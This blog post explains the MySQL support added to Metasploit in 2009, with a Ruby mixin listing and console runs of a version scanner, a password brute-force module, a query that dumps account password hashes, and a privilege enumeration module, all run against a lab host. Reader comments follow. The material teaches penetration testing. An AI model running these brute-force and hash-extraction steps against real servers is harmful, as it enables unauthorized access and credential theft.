Navigation
« New Options in Msfconsole Sessions Command | Main | Automating My VMware Lab »
Sunday
Dec272009

New MySQL Support in Metasploit

Recently HD added a new mixin for MySQL adding support for connecting and executing queries against MySQL using the MySQL library from tmtm.org. In addition to the library 2 new modules from Bernardo Damele (Author of SQLMap) where added. The modules from Bernardo are:

  • mysql_sql – A simple module for executing queries against MySQL provided the appropriate credentials.
  • mysql_login – Login brut force module.

In addition to this 2 module I wrote a mysql_enum module based on the CIS Benchmark for MySQL and an existing module called version was already present to enumerate a MySQL version thru the network.

The Mixin

Lets start by taking a look at the Mixin. At the moment of this blog post this is how the mixin looks:

  1: require 'msf/core'
  2: require 'rbmysql'
  3: 
  4: module Msf
  5: module Exploit::Remote::MYSQL
  6: 
  7: 	include Exploit::Remote::Tcp
  8: 
  9: 	def initialize(info = {})
 10: 		super
 11: 
 12: 		register_options(
 13: 			[
 14: 				Opt::RHOST,
 15: 				Opt::RPORT(3306),
 16: 				OptString.new('MYSQL_USER', [ true, 'The username to authenticate as', 'root']),
 17: 				OptString.new('MYSQL_PASS', [ false, 'The password for the specified username', '']),
 18: 			], Msf::Exploit::Remote::MYSQL
 19: 		)
 20: 	end
 21: 
 22: 	def mysql_login(user='root', pass='', db=nil)
 23: 		disconnect if self.sock
 24: 		connect
 25: 
 26: 		@mysql_handle = ::RbMysql.connect({
 27: 			:host     => rhost,
 28: 			:port     => rport,
 29: 			:socket   => sock,
 30: 			:user     => user,
 31: 			:password => pass,
 32: 			:db       => db
 33: 		})
 34: 	end
 35: 
 36: 	def mysql_logoff
 37: 		@mysql_handle = nil if @mysql_handle
 38: 		disconnect if self.sock
 39: 	end
 40: 
 41: 	def mysql_login_datastore
 42: 		mysql_login(datastore['MYSQL_USER'], datastore['MYSQL_PASS'])
 43: 	end
 44: 
 45: 	def mysql_query(sql)
 46: 		res = nil
 47: 		begin
 48: 			res = @mysql_handle.query(sql)
 49: 		rescue ::RbMysql::Error => e
 50: 			print_error("MySQL Error: #{e.class} #{e.to_s}")
 51: 			return
 52: 		end
 53: 
 54: 		res
 55: 	end
 56: 
 57: end
 58: end

 

 

From lines 9 to 20 the mixin when initialized adds the following options to the module that imports it:

  • RHOST – The MySQL server to connect to.
  • RPORT – The MySQL port, default value of 3306.
  • MYSQL_USER – User account to use for the connecting to the MySQL Server.
  • MYSQL_PASS – Password to use for the connecting to the MySQL Server

The Mixin is a very simple one to use it provides 4 calls:

  • mysql_login – this call allows the coder to connect to a MySQL server providing the Username, Password and Database
  • mysql_logoff - Disconnects the connection created to the database server created by msql_login
  • mysql_login_datastore – Is a wrapper around mysql_login where a login is made using only the datastore values for MYSQL_USER and MYSQL_PASS.
  • mysql_query – Performs a SQL query against the connected database server given a SQL string to execute.
The MySQL Version Scanner Module

The existing module before the mixing was added is the version scanner module by Kris Katterjohn:

   1: msf > use auxiliary/scanner/mysql/version 
   2: msf auxiliary(version) > info
   3:  
   4:        Name: MySQL Server Version Enumeration
   5:     Version: 6482
   6:     License: Metasploit Framework License (BSD)
   7:        Rank: Normal
   8:  
   9: Provided by:
  10:   kris katterjohn <katterjohn@gmail.com>
  11:  
  12: Basic options:
  13:   Name     Current Setting  Required  Description
  14:   ----     ---------------  --------  -----------
  15:   RHOSTS                    yes       The target address range or CIDR identifier
  16:   RPORT    3306             yes       The target port
  17:   THREADS  1                yes       The number of concurrent threads
  18:  
  19: Description:
  20:   Enumerates the version of MySQL servers
  21:  
  22: msf auxiliary(version) > 

the module accepts as options

  • RHOSTS – a targeted address range.
  • RPORT – the TCP port on where to look for, the port 3306 is set by default.
  • THREADS – the number of threads to use for lloking for host and enumerating their versions, default is 1.

Lets set a scan and run it against the local network.

   1: msf auxiliary(version) > set RHOSTS 192.168.1.1/24
   2: RHOSTS => 192.168.1.1/24
   3: msf auxiliary(version) > set THREADS 10
   4: THREADS => 10
   5: msf auxiliary(version) > run
   6:  
   7: [*] Scanned 029 of 256 hosts (011% complete)
   8: [*] Scanned 052 of 256 hosts (020% complete)
   9: [*] Scanned 077 of 256 hosts (030% complete)
  10: [*] Scanned 103 of 256 hosts (040% complete)
  11: [*] Scanned 128 of 256 hosts (050% complete)
  12: [*] Scanned 154 of 256 hosts (060% complete)
  13: [*] Scanned 189 of 256 hosts (073% complete)
  14: [*] Scanned 205 of 256 hosts (080% complete)
  15: [*] 192.168.1.225:3306 is running MySQL ["5.0.75-0ubuntu10.2"] (protocol [10])
  16: [*] Scanned 232 of 256 hosts (090% complete)
  17: [*] Scanned 256 of 256 hosts (100% complete)
  18: [*] Auxiliary module execution completed
  19: msf auxiliary(version) > 

It found our MySQL box and enumerated correctly the version.

The MySQL Login Bruteforce Module

 

The MySQL Login Bruteforce module by Bernardo is one of the first modules to use the new mixin:

   1: msf > use auxiliary/scanner/mysql/mysql_login 
   2:  
   3: msf auxiliary(mysql_login) > info
   4:  
   5:        Name: MySQL Login Utility
   6:     Version: 7979
   7:     License: Metasploit Framework License (BSD)
   8:        Rank: Normal
   9:  
  10: Provided by:
  11:   Bernardo Damele A. G. <bernardo.damele@gmail.com>
  12:  
  13: Basic options:
  14:   Name             Current Setting  Required  Description
  15:   ----             ---------------  --------  -----------
  16:   MYSQL_PASS                        no        The password for the specified username
  17:   MYSQL_PASS_FILE                   no        A dictionary of passwords to perform a bruteforce attempt
  18:   MYSQL_USER       root             yes       The username to authenticate as
  19:   RHOSTS                            yes       The target address range or CIDR identifier
  20:   RPORT            3306             yes       The target port
  21:   THREADS          1                yes       The number of concurrent threads
  22:   VERBOSE          false            yes       Verbose output
  23:  
  24: Description:
  25:   This module simply queries the MySQL instance for a specific 
  26:   user/pass (default is root with blank).
  27:  
  28: msf auxiliary(mysql_login) > 

The module adds 3 options additional to the options that are part of the mixin, this options are:

  • MYSQL_PASS_FILE – A Dictionary of password to perform the bruteforce.
  • THREADS – The Number of simultaneous attempts to perform.
  • VERBOSE – Enable verbose mode so as to see as much information of what the module is doing.
  • RHOSTS – The range of servers to test.

Once successful this module also saves the found credentials in the database attached to the framework if one is present. Lets set the module to attack the found MySQL server, give it a password file and set it to 10 concurrent connections:

   1: msf auxiliary(mysql_login) > set MYSQL_PASS_FILE /tmp/pass.txt
   2: MYSQL_PASS_FILE => /tmp/pass.txt
   3: msf auxiliary(mysql_login) > set THREADS 5
   4: THREADS => 5
   5: msf auxiliary(mysql_login) > set RHOSTS 192.168.1.225
   6: RHOSTS => 192.168.1.225
   7: msf auxiliary(mysql_login) > run
   8:  
   9: [*] 192.168.1.225:3306 successful logged in as 'root' with password 'P@ssword'
  10: [*] Scanned 1 of 1 hosts (100% complete)
  11: [*] Auxiliary module execution completed
  12: msf auxiliary(mysql_login) > 

The new mixin is quite fast.

The MySQL Generic Query Module

This is the second module contributed by Bernardo, it allows the execution of generic SQL queries given a username and password.

   1: msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql 
   2: msf auxiliary(mysql_sql) > info
   3:  
   4:        Name: MySQL SQL Generic Query
   5:     Version: 7978
   6:     License: Metasploit Framework License (BSD)
   7:        Rank: Normal
   8:  
   9: Provided by:
  10:   Bernardo Damele A. G. <bernardo.damele@gmail.com>
  11:  
  12: Basic options:
  13:   Name        Current Setting   Required  Description
  14:   ----        ---------------   --------  -----------
  15:   MYSQL_PASS                    no        The password for the specified username
  16:   MYSQL_USER  root              yes       The username to authenticate as
  17:   RHOST                         yes       The target address
  18:   RPORT       3306              yes       The target port
  19:   SQL         select version()  yes       The SQL to execute.
  20:  
  21: Description:
  22:   This module allows for simple SQL statements to be executed against 
  23:   a MySQL instance given the appropriate credentials.
  24:  
  25: msf auxiliary(mysql_sql) > 

  Lets set the module to execute the “select user, host, password from mysql.user” query to list all accounts configured on the server, the host from which they can connect to and the password hash (in version 5 a double SHA1):

   1: msf auxiliary(mysql_sql) > set MYSQL_PASS P@ssword
   2: MYSQL_PASS => P@ssword
   3: msf auxiliary(mysql_sql) > set RHOST 192.168.1.225
   4: RHOST => 192.168.1.225
   5: msf auxiliary(mysql_sql) > set SQL select user, host, password from mysql.user
   6: SQL => select user, host, password from mysql.user
   7: msf auxiliary(mysql_sql) > run
   8:  
   9: [*] Sending statement: 'select user, host, password from mysql.user'...
  10: [*]  | root | localhost | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  11: [*]  | root | mysql1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  12: [*]  | root | 127.0.0.1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  13: [*]  | debian-sys-maint | localhost | *B5B29092C4F54539DAEED066DDA875543A81C9A8 |
  14: [*]  | root | % | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  15: [*]  | empypassusr | % |  |
  16: [*]  |  | % | *26084ECEA9703C37D3D28CA34D9346D9527B0ABF |
  17: [*] Auxiliary module execution completed
  18: msf auxiliary(mysql_sql) > 

The level of access and what queries can be performed will depend on the permissions of the account that is being used.

 The MySQL Enumeration Module

Entering each query one by one will take some time, so I wrote a module that uses the mixin for performing enumeration of those parameter, privileges and accounts that might be of interest to an attacker.

   1: msf auxiliary(mysql_sql) > use auxiliary/admin/mysql/mysql_enum 
   2: msf auxiliary(mysql_enum) > info
   3:  
   4:        Name: MySQL Enumeration Module
   5:     Version: $Revision:$
   6:     License: Metasploit Framework License (BSD)
   7:        Rank: Normal
   8:  
   9: Provided by:
  10:   Carlos Perez. <carlos_perez@darkoperator.com>
  11:  
  12: Basic options:
  13:   Name        Current Setting  Required  Description
  14:   ----        ---------------  --------  -----------
  15:   MYSQL_PASS                   no        The password for the specified username
  16:   MYSQL_USER  root             yes       The username to authenticate as
  17:   RHOST                        yes       The target address
  18:   RPORT       3306             yes       The target port
  19:  
  20: Description:
  21:   This module allows for simple enumeration of MySQL Database Server 
  22:   provided proper credentials to connect remotely.
  23:  
  24: References:
  25:   https://cisecurity.org/benchmarks.html
  26:  
  27: msf auxiliary(mysql_enum) > 

Lets provide the appropriate parameters to execute the module against the MySQL server (Note: You can use global variables so to not enter the information individually in each module using the setg command)

   1: msf auxiliary(mysql_enum) > set RHOST 192.168.1.225
   2: RHOST => 192.168.1.225
   3: msf auxiliary(mysql_enum) > set MYSQL_PASS P@ssword
   4: MYSQL_PASS => P@ssword
   5: msf auxiliary(mysql_enum) > run
   6:  
   7: [*] Running MySQL Enumerator...
   8: [*] Enumerating Parameters
   9: [*]     MySQL Version: 5.0.75-0ubuntu10.2
  10: [*]     Compiled for the following OS: debian-linux-gnu
  11: [*]     Architecture: i486
  12: [*]     Server Hostname: mysql1
  13: [*]     Data Directory: /var/lib/mysql/
  14: [*]     Logging of queries and logins: OFF
  15: [*]     Old Password Hashing Algorithm: OFF
  16: [*]     Loading of local files: ON
  17: [*]     Logings with old Pre-4.1 Passwords: OFF
  18: [*]     Allow Use of symlinks for Databse Files: YES
  19: [*]     Allow Table Merge: YES
  20: [*]     SSL Connection: DISABLED
  21: [*] Enumerating Accounts:
  22: [*]     List of Accounts with Password Hashes:
  23: [*]         User: root Host: localhost Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  24: [*]         User: root Host: mysql1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  25: [*]         User: root Host: 127.0.0.1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  26: [*]         User: debian-sys-maint Host: localhost Password Hash: *B5B29092C4F54539DAEED066DDA875543A81C9A8
  27: [*]         User: root Host: % Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  28: [*]         User: empypassusr Host: % Password Hash: 
  29: [*]         User:  Host: % Password Hash: *26084ECEA9703C37D3D28CA34D9346D9527B0ABF
  30: [*]     The following users have GRANT Privilege:
  31: [*]         User: root Host: localhost
  32: [*]         User: root Host: mysql1
  33: [*]         User: root Host: 127.0.0.1
  34: [*]         User: debian-sys-maint Host: localhost
  35: [*]     The following users have CREATE USER Privilege:
  36: [*]         User: root Host: localhost
  37: [*]         User: root Host: mysql1
  38: [*]         User: root Host: 127.0.0.1
  39: [*]     The following users have RELOAD Privilege:
  40: [*]         User: root Host: localhost
  41: [*]         User: root Host: mysql1
  42: [*]         User: root Host: 127.0.0.1
  43: [*]         User: debian-sys-maint Host: localhost
  44: [*]     The following users have SHUTDOWN Privilege:
  45: [*]         User: root Host: localhost
  46: [*]         User: root Host: mysql1
  47: [*]         User: root Host: 127.0.0.1
  48: [*]         User: debian-sys-maint Host: localhost
  49: [*]     The following users have SUPER Privilege:
  50: [*]         User: root Host: localhost
  51: [*]         User: root Host: mysql1
  52: [*]         User: root Host: 127.0.0.1
  53: [*]         User: debian-sys-maint Host: localhost
  54: [*]     The following users have FILE Privilege:
  55: [*]         User: root Host: localhost
  56: [*]         User: root Host: mysql1
  57: [*]         User: root Host: 127.0.0.1
  58: [*]         User: debian-sys-maint Host: localhost
  59: [*]     The following users have POCESS Privilege:
  60: [*]         User: root Host: localhost
  61: [*]         User: root Host: mysql1
  62: [*]         User: root Host: 127.0.0.1
  63: [*]         User: debian-sys-maint Host: localhost
  64: [*]     The following accounts have privileges to the mysql databse:
  65: [*]         User: root Host: localhost
  66: [*]         User: root Host: mysql1
  67: [*]         User: root Host: 127.0.0.1
  68: [*]         User: debian-sys-maint Host: localhost
  69: [*]     Anonymous Accounts are Present:
  70: [*]         User:  Host: %
  71: [*]     The following accounts have empty passwords:
  72: [*]         User: empypassusr Host: %
  73: [*]     The following accounts are not restricted by source:
  74: [*]         User:  Host: %
  75: [*]         User: empypassusr Host: %
  76: [*]         User: root Host: %
  77: [*] Auxiliary module execution completed
  78: msf auxiliary(mysql_enum) > 

As it can be seen a lot of valuable information is gathered and displayed by the module.

As it can be seen the Framework now provides a new way to attack and enumerate MySQL Servers adding to its flexibility.

Reader Comments (7)

Good job with mysql_enum!
December 29, 2009 | Unregistered CommenterBernardo
I tried to attack mysql 5.0.7 and got this response from metasploit:

Unsupported target version of MySQL detected. Skipping
July 29, 2010 | Unregistered CommenterJonathan
Poking around, I guess I have to modify

msf3/modules/auxiliary/scanner/mysql/mysql_version.rb

true?
July 30, 2010 | Unregistered CommenterJonathan
Yes
August 12, 2010 | Registered CommenterCarlos Perez
What module did you tried?
August 12, 2010 | Registered CommenterCarlos Perez
Would there be a patch or workaround when the MySQL_emun and MySQL_sql module throw an error "MySQL Error: RbMysql::NetPacketsOutOfOrder Got packets out of order"?
November 19, 2013 | Unregistered CommenterJD
Not that I know off
November 28, 2013 | Registered CommenterCarlos Perez

PostPost a New Comment

Enter your information below to add a new comment.
Author Email (optional):
Author URL (optional):
Post:
 
All HTML will be escaped. Hyperlinks will be created for URLs automatically.